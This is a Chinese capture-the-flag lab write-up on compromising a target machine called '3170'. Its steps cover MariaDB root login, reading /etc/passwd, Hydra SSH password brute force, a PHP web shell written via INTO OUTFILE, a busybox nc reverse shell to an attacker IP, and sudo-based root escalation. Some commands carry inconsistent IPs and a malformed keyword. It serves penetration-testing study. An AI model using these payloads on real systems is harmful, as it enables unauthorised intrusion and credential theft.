3170靶场学习笔记

前言

核心逻辑:信息收集 → 发现 sudo 错误配置 → 利用专用工具爆破密码 → 逐级提权到 root。

正文

方式一:MariaDB未授权+用户弱口令爆破

1、信息搜集

使用Nmap扫码靶机端口:

bash 复制代码
nmap -sV -v -T4 -A 192.168.31.220

扫出以下关键信息:

端口 协议 状态 服务 版本信息 关键说明
22/tcp TCP open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) Debian 11 系统的 SSH 服务,附带 RSA/ECDSA/ED25519 三种主机密钥
80/tcp TCP open http Apache httpd 2.4.62 (Debian) Apache 2.4.62 web 服务,访问时返回 400 Bad Request(请求格式错误)
3306/tcp TCP open mysql MariaDB 5.5.5-10.5.23 MariaDB 数据库服务(MySQL 分支),版本为 10.5.23(Debian 定制版)

2、MariaDB未授权漏洞利用

尝试一下MariaDB空口令爆破:

bash 复制代码
mysql -h 192.168.31.220 -u root -p  

提示, 服务器没有开启SSL加密,跟本地安全机制不一致。

利用这个漏洞,不启动SSL加密登录:

bash 复制代码
mysql -uroot -h192.168.3.214 -p --skip-ssl

成功进入数据库,输入:

sql 复制代码
show databases;

没啥利用的,通过MariaDB 提供的内置函数load_file(),读取服务器/etc/passwd文件内容:

sql 复制代码
select load_file('/etc/passwd');

拿到以下信息:

/etc/passwd内容每一行对应一个系统用户,格式是 用户名:密码占位符:用户ID:组ID:备注:家目录:登录Shell

字段 大白话解释
用户名 登录系统时用的名字(比如 root、a7)
密码占位符 现在 Linux 密码都存在 /etc/shadow 里,这里固定显示 x(只是个标记)
用户 ID(UID) 系统识别用户的数字编号(0 = 超级管理员,1000 + 通常是普通用户)
组 ID(GID) 用户所属组的数字编号
备注 可选的说明(比如用户用途),可以为空
家目录 用户登录后默认的工作目录(比如 /home/a7 是 a7 用户的 "个人文件夹")
登录 Shell 用户登录后能使用的命令行环境: - /bin/bash:能正常登录操作(有交互 Shell) - /usr/sbin/nologin//bin/false:禁止登录(仅用于运行服务)

惊喜发现用户名a7的权限挺大的。

3、SSH用户密码爆破

那我们就想办法对a7用户密码进行爆破,对豆包下指令:生成一个CTF比赛中常用的top1000的字典"pass.txt"。

拿着pass.txt字典爆破:

bash 复制代码
hydra -l a7 -P pass.txt ssh://192.168.31.220 -V -I -t 10
参数 / 命令段 大白话解释
hydra 启动 Hydra 工具(一款经典的暴力破解工具,支持 SSH/MySQL/FTP 等多种协议)
-l a7 指定单个用户名a7(小写 L,不是数字 1) 补充:如果要爆破多个用户名,用 -L 用户名文件.txt
-P pass.txt 指定密码字典文件pass.txt(大写 P) 作用:Hydra 会逐个尝试这个文件里的每一行密码
ssh://192.168.3.214 指定要爆破的目标: - 协议:ssh(针对 22 端口的 SSH 服务) - 目标 IP:192.168.3.214
-V 显示详细爆破过程(Verbose):每尝试一个密码都会输出日志,能看到进度和失败 / 成功信息
-I 忽略之前的爆破进度(Ignore):如果之前对这个目标爆破过,不会加载缓存,从头开始新的爆破

ssh登录靶机:

bash 复制代码
ssh a7@192.168.31.220

检查用户权限、所在路径:

bash 复制代码
id
pwd

接下来就是翻目录找到flag:

方式二:MariaDB未授权+目录命令执行

1、目录信息收集

使用Dirsearch扫描开放的目录:

bash 复制代码
dirsearch -u 192.168.31.220

扫描完发现有个/temp目录可以访问, 说明可以漏洞利用,实现目录写入。

2、MariaDB未授权漏洞利用

还是得进入MariaDB里,通过sql语句,实现目录写入:

sql 复制代码
select 1,2,"<?php echo exec($_GET['c']);?>",4 intoOUTFILE '/var/www/html/temp/b.php

可以看到文件被写入进来。

在浏览器里输入:

3、目录命令执行

html 复制代码
b.php?c=busybox%20nc%20192.168.31.188%201234%20-e%20/bin/bash

然后在kali里开启监听,并试图读取当前用户身份,就会得到以下结果:

启动伪shell窗口,成功拿到www-data低级权限用户,并通过快捷键Ctrl+z短暂中断:

bash 复制代码
/usr/bin/script -qc /bin/bash /dev/null

调整窗口格式:

bash 复制代码
stty raw -echo;fg

重启:

bash 复制代码
reset

改成xterm格式:

bash 复制代码
xterm

拿到flag。

4、低级用户提权

通过ls -al命令,显示所有文件(包括以 . 开头的隐藏文件),

列表内容解读(每行对应一个文件 / 目录):

  • 第一列(如 drwxr-xr-x):文件权限(d 代表目录,- 代表普通文件;rwx 分别是读 / 写 / 执行权限);
  • 第二列(数字):硬链接数;
  • 第三 / 四列:文件的属主 / 属组(如 root、www-data);
  • 第五列:文件大小(单位字节);
  • 第六 - 八列:最后修改时间;
  • 最后一列:文件名(. 代表当前目录,... 代表上级目录,.bash_history 是隐藏文件)。

/var/www下可以看到.bash_history,拿到welcome用户的密码。

成功进入welcome用户下:

查看当前用户(welcome)拥有的 sudo 权限:

bash 复制代码
sudo -l
  • User welcome may run the following commands on 3170:用户 welcome 在主机
    3170 上可执行以下命令;
  • (ALL):表示可以以任意用户身份(包括 root)执行后续命令;
  • NOPASSWD:执行该命令时不需要输入密码(普通 sudo 操作默认需要验证当前用户密码);
  • /opt/suForce:允许执行的具体命令 / 程序路径(即 welcome 可通过 sudo /opt/suForce 以 root
    身份无密码运行这个程序)。

(1)通过suForce工具读取到user.txt文件的flag:

bash 复制代码
sudo /opt/suForce -u root -w user.txt

同理,root.txt文件读取到flag:

(2)还有一种方法,将 root 用户的历史命令文件作为密码字典( .bash_history 是 Linux 用户保存历史执行命令的隐藏文件,并非专门的密码字典),读取到root用户的密码,然后登陆进去。

通过查看,拿到root.txt文件里的flag:

相关推荐
ZC跨境爬虫2 小时前
跟着 MDN 学 HTML day_17:媒体与 Web Audio API 自动播放指南——策略、检测与最佳实践
前端·笔记·ui·html·音视频·媒体
ErizJ2 小时前
Redis|学习笔记
redis·笔记·学习
加油20192 小时前
方法论:如何系统性的学习?
学习·学习方法·方法论
Amazing_Cacao2 小时前
CFCA精品可可饮品认证课程高级压力测试:在极端液态变量中,捍卫精品巧克力品质的稳定复现法则
笔记
小t说说3 小时前
科学素养培养:男孩女孩的不同“方程式”,真的有分性别学习平台?
学习
xian_wwq3 小时前
【学习笔记】变电保护、测控、安自、自动化系统概述
笔记·学习·保护
lizhihai_993 小时前
股市学习心得—商业航天10大核心材料供应商
大数据·人工智能·学习
泰勒朗斯3 小时前
rootflight学习笔记
笔记·学习
知识分享小能手4 小时前
R语言入门学习教程,从入门到精通,R语言时间序列数据可视化(11)
学习·信息可视化·r语言